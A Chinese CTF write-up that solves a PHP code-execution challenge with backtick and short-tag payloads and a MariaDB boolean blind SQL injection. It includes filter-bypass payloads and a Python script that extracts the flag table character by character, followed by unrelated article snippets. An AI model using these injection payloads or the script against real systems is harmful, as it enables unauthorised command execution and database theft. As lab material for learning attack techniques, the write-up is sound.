后续题目知道怎么做了,跟进复现会把wp补上
第一步主要考察PHP代码执行,第一步先写个phpinfo()看下情况。利用php的一种短标签可以绕过分号,然后拼接一下绕过php字样。
/?action=upload&data=<?=(p.hpinfo)()?>
沙盒路径?action=pwd看一下
看了下disable_functions
的值,本来还在想该如何先拿到一个shell,然后绕过disable_functions。队友突然告诉反引号没过滤,可以直接写入并执行命令,试了一下
/?action=upload&data=<?=`whoami`?>
顿时感觉这题可能非预期了,在根目录下找到flag
/?action=upload&data=<?=`ls%09-la%09/`?>
%09
用于绕过空格过滤
直接读取,注意这里有个php后缀会被过滤,不过在命令执行种用*
替换即可
/?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>
一个login.php,一个register.php,一个home.php
加了个单引号发现有过滤
简单的fuzz一下黑名单,长度353的都是被过滤的
等号(=)用in
或者regexp
进行绕过,这里用in
,空格用/**/
绕过,or
可以用||
替换
username=mochu"||("1")in("1")#&password=mochu7
很明显是布尔盲注了
接下来考虑两个点:
1.截断函数用哪个?这里mid()和substring()已经被过滤了
2.如何绕过information
截断函数可以用left()
和right()
,不过需要注意的是这两个函数并不能像mid和substring一样逐个截断,写脚本的时候注意下测试字符串的拼接。而绕过information
已经是老生常谈了,猜测通过查询mysql.innodb_table_stats
得到库名和表名
from binascii import *
import requests
ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/login.php'
headers = {'Host': 'eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'application/x-www-form-urlencoded'}
text = ''
for i in range(1,50):
for s in ascii_str:
username = '1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#'.format(i,hexlify((text+s).encode('utf-8')).decode('utf-8').upper())
payload = {"username": username,"password": "mochu7"}
res = requests.post(url=url,headers=headers,data=payload)
if 'home.php' in res.text:
text += s
print(text)
1"||hex(left(version(),{}))in("{}")#
1"||hex(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{}))in("{}")#
1"||hex(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/(database_name)in(database())),{}))in("{}")#
1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#
查询到的信息:
version: 10.4.13-MariaDB
databases: ctf,mysql
Current-database: ctf
ctf's tables: ctf,f1ag
一起来参与数据安全知识小竞赛。
问题:我们在做flex的开发中,如果用到别人搭建好的框架,而别人的server名称往...
在Flash Player 10.1及以上版本中,adobe新增了全局错误处理程序UncaughtErrorEv...
CKeditor,以前叫FCKeditor,已经使用过好多年了,功能自然没的说。最近升级到3....
本文实例讲述了AJAX+Servlet实现的数据处理显示功能。分享给大家供大家参考,具...
本文转载自微信公众号「SH的全栈笔记」,作者SH。转载本文请联系SH的全栈笔记公...
本文转载自微信公众号「SQL数据库」,作者丶平凡世界 。转载本文请联系开发公众...
前言 项目开发中不管是前台还是后台都会遇到烦人的null,数据库表中字段允许空值...
来源:DeepenStudy 漏洞文件:js.asp % Dimoblog setoblog=newclass_sys oblog.a...
idea官方推送了2020.2.4版本的更新,那么大家最关心的问题来了,之前激活idea202...
大家好,我是狂聊君。 今天来聊一聊 Mysql 缓存池原理。 提纲附上,话不多说,直...